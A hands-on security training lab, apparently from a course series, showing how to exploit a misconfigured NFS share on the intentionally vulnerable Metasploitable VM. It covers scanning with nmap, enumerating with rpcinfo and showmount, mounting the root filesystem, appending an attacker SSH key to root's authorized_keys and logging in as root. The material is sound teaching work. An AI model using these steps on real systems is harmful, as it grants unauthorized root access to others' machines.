Bài Thực Hành Metasploit Framework Lesson 4 : Exploiting a Mis-Configured NFS Share

---

Section 0. Background Information

1. Metasploitable 
   • Metasploitable is an intentionally vulnerable Linux virtual machine.
   • This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques.

2. Pre-Requisite Lab
   • Metasploitable  : Lesson 1: Downloading and Configuring
    
3. What is nfs?
   • Network File System (NFS) is a distributed file system protocol originally developed by Sun Microsystems in 1984,allowing a user on a client computer to access files over a network in a manner similar to how local storage is accessed. NFS, like many other protocols, builds on the Open Network Computing Remote Procedure Call (ONC RPC) system. The Network File System is an open standard defined in RFCs, allowing anyone to implement the protocol.
4. What is rpcbind?
   • The rpcbind utility maps RPC services to the ports on which they listen. RPC processes notify rpcbind when they start, registering the ports they are listening on and the RPC program numbers they expect to serve. The client system then contacts rpcbind on the server with a particular RPC program number. The rpcbind service redirects the client to the proper port number so it can communicate with the requested service. Because RPC-based services rely on rpcbind to make all connections with incoming client requests, rpcbind must be available before any of these services start
5. Lab Notes
   • In this lab we will do the following:
     1. Run an intense NMAP Scan on the Metasploitable VM
     2. Search for the nsf, rpcbind, and ssh daemons

Section 5. Scanning the Victim with NMAP

1. Run Intense NMAP Scan on the Metasploitable VM
   • Note(FYI):
     • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
     • This intense NMAP scan could take 3 to 5 minutes to run.
   • Instructions:
     1. nmap -p 1-65535 -T4 -A -v 192.168.1.112 2>&1 | tee /var/tmp/scan.txt
   • 
2. Looking for rpcinfo, nfs and ssh
   • Instructions:
     1. cd /var/tmp
     2. egrep -i '(nfs|rpcbind|ssh)' scan.txt
   • Note(FYI):
     • nfs runs on port 2049 for both TCP and UDP.
     • ssh runs on port 22.
     • rpcbind runs on port 111 for both TCP and UDP.
   • 

Section 6. Conduct a NFS Assessment

1. Using rpcinfo
   • Instructions:
     1. rpcinfo -p 192.168.1.112
     2. rpcinfo -p 192.168.1.112 | grep nfs
   • Note(FYI):
     • Replace 192.168.1.112 with metasploitable's IP address obtained from (Section 2, Step 2).
     • The rpcinfo command makes an RPC call to an RPC server and reports the status of the server.  In this case, we are asking metasploitable's RPC server show us all of its RPC problems that are running. (e.g., nfs, mountd, status, portmapper, nlockmgr).
   • 
2. Using showmount
   • Instructions:
     1. showmount -e 192.168.1.112
   • Note(FYI):
     • Replace 192.168.1.112 with metasploitable's IP address obtained from (Section 2, Step 2).
     • showmount queries the mount daemon on a remote host for information about the state of the NFS server on that machine.
     • The "/" filesystem is owned by root for most flavors of Unix and Linux.  Allowing the world to mount to the "/" file system opens up Paradora's box to an unlimited amount of exploits.
   • 

Section 7. Exploiting the Mis-Configured NFS Mount

1. Create SSH Key Pair
   • Instructions:
     1. mkdir -p /root/.ssh
     2. cd /root/.ssh/
     3. cat /dev/null > known_hosts
        • This is not necessary.  I do this to prevent a potential man-in-the middle known_host message.
     4. ssh-keygen -t rsa -b 4096
     5. Enter file in which to save the key (/root/.ssh/id_rsa): hacker_rsa
     6. Enter passphrase (empty for no passphrase): Just Press Enter
     7. Enter same passphrase again: Just Press Enter
     8. ls -l
   • 
2. Mount Metasploitable's "/" File System
   • Instructions:
     1. cd /
     2. mount -t nfs 192.168.1.112:/ /mnt -o nolock
        • nolock � Disables file locking.
     3. df -k
   • Note(FYI):
     • Replace 192.168.1.112 with metasploitable's IP address obtained from (Section 2, Step 2).
     • Notice we have successfully mounted up metasploitable's "/" filesystem to BackTrack's /mnt directory.
   • 
3. Modify metasploitable's authorized_keys file
   • Instructions:
     1. cd /mnt/root/.ssh
     2. cp /root/.ssh/hacker_rsa.pub /mnt/root/.ssh/
     3. ls -l
     4. cat authorized_keys
     5. cat hacker_rsa.pub >> authorized_keys
     6. cat authorized_keys
   • Note(FYI):
     • Since metasploitable's "/" file system is writable to the world, we are able to append BackTrack's ssh public key to metasploitable's authorized_keys file.
   • 
4. Obtain Root Access
   • Note(FYI):
     • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
   • Instructions:
     1. cd /root/.ssh/
     2. ssh -i /root/.ssh/hacker_rsa root@192.168.1.112
     3. yes
        • The "Are you sure ... (yes/no)?" message only occur during your very first connection.
     4. whomai
     5. exit
   • 

Section 8. Basic System Network Forensics

1. Using showmount
   • Instructions:
     1. showmount -a 192.168.1.112
     2. umount /mnt
     3. df -k
     4. showmount -a 192.168.1.112
   • Note(FYI):
     • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
     • Notice after we un-mount from metasploitable's share that BackTrack's IP address is no longer present.
   • 

Section 9. Proof of Lab

1. Proof of Lab
   • Note(FYI):
     • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
   • Proof of Lab Instructions
     1. ssh -i /root/.ssh/hacker_rsa root@192.168.1.112 "cat /etc/exports"
     2. ssh -i /root/.ssh/hacker_rsa root@192.168.1.112 "date"
     3. date
     4. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
     5. Press the <Ctrl> and <Alt> key at the same time.
     6. Press the <PrtScn> key.
     7. Paste into a word document
